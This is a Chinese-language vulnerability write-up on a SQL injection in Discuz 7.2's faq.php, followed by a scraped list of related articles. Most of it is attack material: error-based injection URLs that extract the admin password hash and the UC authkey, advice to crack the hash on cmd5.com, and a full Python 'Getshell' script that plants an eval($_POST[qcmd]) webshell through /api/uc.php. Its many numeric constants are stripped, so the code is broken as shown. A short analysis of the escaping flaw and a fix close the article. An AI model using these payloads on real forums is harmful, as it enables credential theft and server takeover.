catalog

. 漏洞描述
. 漏洞触发条件
. 漏洞影响范围
. 漏洞代码分析
. 防御方法
. 攻防思考

1. 漏洞描述

. 通过获取管理员密码
. 对管理员密码进行破解。通过在cmd5.com网站对管理密码进行查询,需要带salt,获取的salt要去掉最后一个数字""
例如下面获取: admin:c6c45f444cf6a41b309c9401ab9a55a7:066ff71
需要查询的是: c6c45f444cf6a41b309c9401ab9a55a7:066ff7
. 通过uc_key获取shell
. 进入后台,添加插件获取webshell

Relevant Link:

http://sebug.net/vuldb/ssvid-87115
http://sebug.net/vuldb/ssvid-87114

2. 漏洞触发条件

.获取数据库版本信息
http://localhost/discuz7.2/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)%23 .获取管理员账户密码
http://localhost/discuz7.2/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x27,password) from cdb_members limit 1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23 .获取key
http://localhost/discuz7.2/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,1,62) from cdb_uc_applications limit 0,1),0x3a)x from information_schema.tables group by x)a)%23
//通过error based injection报错获得注入信息

0x1: POC

import sys,urllib,time,math,base64,hashlib,urllib2
#contant raw
def fg(kaishi, jieshu, wenben):
start = wenben.find(kaishi);
if start >= :
start += len(kaishi);
jieshu = wenben.find(jieshu, start);
if jieshu >= :
return wenben[start:jieshu].strip();
#microtime
def microtime(get_as_float = False) :
if get_as_float:
return time.time();
else:
return '%.8f %d' % math.modf(time.time());
#authget
def get_authcode(string, key = ''):
ckey_length = ;
key = hashlib.md5(key).hexdigest();
keya = hashlib.md5(key[:]).hexdigest();
keyb = hashlib.md5(key[:]).hexdigest();
keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:];
#keyc = (hashlib.md5('0.736000 1389448306').hexdigest())[-ckey_length:]
cryptkey = keya + hashlib.md5(keya+keyc).hexdigest();
key_length = len(cryptkey);
string = '' + (hashlib.md5(string+keyb)).hexdigest()[:]+string;
string_length = len(string);
result = '';
box = range(, );
rndkey = dict();
for i in range(,):
rndkey[i] = ord(cryptkey[i % key_length]);
j=;
for i in range(,):
j = (j + box[i] + rndkey[i]) % ;
tmp = box[i];
box[i] = box[j];
box[j] = tmp;
a=;
j=;
for i in range(,string_length):
a = (a + ) % ;
j = (j + box[a]) % ;
tmp = box[a];
box[a] = box[j];
box[j] = tmp;
result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % ]));
return keyc + base64.b64encode(result).replace('=', '');
#getshell
def get_shell(url0,key,host):
headers={'Accept-Language':'zh-cn',
'Content-Type':'application/x-www-form-urlencoded',
'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',
'Referer':url0
};
tm = time.time()+*;
tm="time=%d&action=updateapps" %tm;
code = urllib.quote(get_authcode(tm,key));
url0=url0+"?code="+code;
data1='''<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">http://xxx\');eval($_POST[qcmd]);//</item>
</root>''';
try:
req=urllib2.Request(url0,data=data1,headers=headers);
ret=urllib2.urlopen(req);
except:
return "error to read";
data2='''<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">http://aaa</item>
</root>''';
try:
req=urllib2.Request(url0,data=data2,headers=headers);
ret=urllib2.urlopen(req);
except:
return "error";
return "OK: "+host+"/config.inc.php | Password = qcmd"; #去掉/config/uc_config.php 为config.inc.php by niubl
#define over
#url from users
right = len(sys.argv);
if right < :
#note
print ("============================================================");
print ("Discuz <= 7.2 Getshell");
print ("Wrote by Airbasic");
print ("Usage: py.exe " + sys.argv[] + " http://localhost/dz");
print ("============================================================");
raw_input("");
sys.exit()
url = sys.argv[]; #go
url1 = url + "/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,1,31) from cdb_uc_applications where appid =1))x from information_schema .tables group by x)a)%23";
url2 = url + "/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,32,64) from cdb_uc_applications where appid =1))x from information_schema .tables group by x)a)%23";
#authkey1~
wy1 = urllib.urlopen(url1);
nr1 = wy1.read();
authkey1 = fg("'1:","' for",nr1);
#authkey32~
wy2 = urllib.urlopen(url2);
nr2 = wy2.read();
authkey2 = fg("'1:","' for",nr2);
#authkey
authkey = authkey1+authkey2;
#get username and password
#none
#over
#get webshell
url0 = url + "/api/uc.php";
host = url;
print ("Wrote by Airbasic , GetShell Ok !");
print get_shell(url0,authkey,host);
raw_input("");

Relevant Link:

http://blog.csdn.net/yiyefangzhou24/article/details/36913287
http://qqhack8.blog.163.com/blog/static/11414798520146711246279/

3. 漏洞影响范围
4. 漏洞代码分析

/faq.php

..
elseif($action == 'grouppermission')
{
..
//首先定义一个数组groupids,然后遍历$gids(这也是个数组,就是$_GET[gids])
$groupids = array();
foreach($gids as $row)
{
//将数组中的所有值的第一位取出来放在groupids中
$groupids[] = $row[];
/*
这里的安全漏洞在于
discuz在全局会对GET数组进行addslashes转义,也就是说会将单引号"'"转义成"\'"
所以,如果我们的传入的参数是: gids[1]='的话,会被转义成$gids[1]=\',而这个赋值语句$groupids[] = $row[0]就相当于取了字符串的第一个字符,也就是"\",把转义符号取出来了
*/
} /*
在将数据放入sql语句前,通过implodeids函数对$groupids进行处理了一遍
就是将刚才的$groupids数组用','分割开,组成一个类似于'1','2','3','4'的字符串返回。但是我们的数组刚取出来一个转义符,它会将这里一个正常的'转义掉,比如这样:'1','\','3','4'
这样就把原本的用于闭合的单引号给转义了,使得黑客的注入数据得以"逃逸",也就是产生的注入,我们把报错语句放在3这个位置,就能报错
*/
$query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");
$groups = array();
..

Relevant Link:

http://simeon.blog.51cto.com/18680/1440000

5. 防御方法

/faq.php

elseif($action == 'grouppermission')
{
/* 对$gids进行初始化 */
$gids = array();
/* */

Relevant Link:

http://www.crazydb.com/archive/Discuz7.xSQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B8%8EEXP
http://simeon.blog.51cto.com/18680/1440000

6. 攻防思考

Copyright (c) 2015 LittleHann All rights reserved

discuz /faq.php SQL Injection Vul的更多相关文章

  1. ecshop /search.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 ECSHOP商城系统Search.php页面过滤不严导致SQL注入漏洞 ...

  2. ecshop /pick_out.php SQL Injection Vul By Local Variable Overriding

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 在进行输入变量本地模拟注册的时候,没有进行有效的GPC模拟过滤处理,导出 ...

  3. ecshop /goods.php SQL Injection Vul

    catalogue . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述2. 漏洞触发条件 0x1: poc http://localhost ...

  4. ecshop /category.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 Relevant Link: http://sebug.net/vuld ...

  5. ecshop /api/client/api.php、/api/client/includes/lib_api.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 ECShop存在一个盲注漏洞,问题存在于/api/client/api. ...

  6. ecshop /flow.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 ECSHOP的配送地址页面网页没有验证地区参数的有效性,存在sql注入漏 ...

  7. ecshop /includes/modules/payment/alipay.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 ECSHOP支付插件存在SQL注入漏洞,此漏洞存在于/includes/ ...

  8. dedecms \plus\guestbook.php SQL Injection Vul By \plus\guestbook\edit.inc.php

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 注射漏洞成功需要条件如下 . php magic_quotes_gpc= ...

  9. dedecms /member/uploads_edit.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 Dedecms 5.3版本下的member/uploads_edit.p ...

随机推荐

  1. TinyFrame升级之九:实现复杂的查询

    本章我们主要讲解如何实现一个复杂的查询.由于目前TinyFrame框架已经投入到了实际的项目生产中,所以我很乐意将项目中遇到的任何问题做以记录并备忘. 这章中,我们提到的查询界面如下所示: 其中,涉及 ...

  2. JavaScript的一些知识碎片(2)-反射-全局变量-回调

    JavaScript中的反射:编程语言中的反射原理都一样,就是通过操作metadata(描述语言的语言)来完成一些不具备反射功能的语言很难实现的功能.在静态语言中,反射是一个高大上的东西,比如在运行时 ...

  3. 你应该知道的25道Javascript面试题

    题目来自 25 Essential JavaScript Interview Questions.闲来无事,正好切一下. 一 What is a potential pitfall with usin ...

  4. SQL2005SP4补丁安装时错误: -2146233087 MSDTC 无法读取配置信息。。。错误代码1603的解决办法

    是在安装slq2005sp3和sp4补丁的时候碰到的问题. 起先是碰到的错误1603的问题,但网上搜索的1603的解决办法都试过了,google也用了,外文论坛也读了,依然没有能解决这个问题. 其实一 ...

  5. 怎样修改 Openstack Horizon(Dashboard)的显示界面 (二)

    上一篇文章介绍了 Dashboard 的基本结构框架,那接下来的问题就是如何在这个框架中加入我们自己想要的内容了.在真正动手之前,让我们先来看看官方的页面是怎么做出来的.首先我们进入 /usr/sha ...

  6. [BZOJ1193][HNOI2006]马步距离(贪心+dfs)

    题目:http://www.lydsy.com:808/JudgeOnline/problem.php?id=1193 分析: 首先小范围可以直接暴力.(其实只要用上题目中的表就行了) 如果范围比较大 ...

  7. android中的图片处理

    大图片处理 大图片处理是将原来像素高的转换为像素低的图片,比如原来图片是1024*768的,而手机屏幕是800*600的,这时候就需要进行转换.转换的方式很简单就是等比例缩放. package xid ...

  8. android服务之启动方式

    服务有两种启动方式 通过startService方法来启动 通过bindService来开启服务 布局文件 在布局文件中我们定义了四个按键来测试这两种方式来开启服务的不同 <?xml versi ...

  9. DBVisualizer 6.0.2配置

    DBVis是一款通过JDBC连接数据库的软件,理论上,可以连接任何数据库,今天,我们以DBVisualizer6.0.2免费版为例 (一)连接MySql5 1.解压压缩包至本地某路径下 2.配置环境变 ...

  10. C# 多线程防止卡死

    软件界面的响应特性是判断一款软件的非常重要的方面.一般来说,不管你软件功能做得有多么奇妙,如果软件有一点点死机的感觉都会让用户感到很讨厌,甚至怀疑你软件里是否藏有更大的问题. 要提高界面的响应特性,最 ...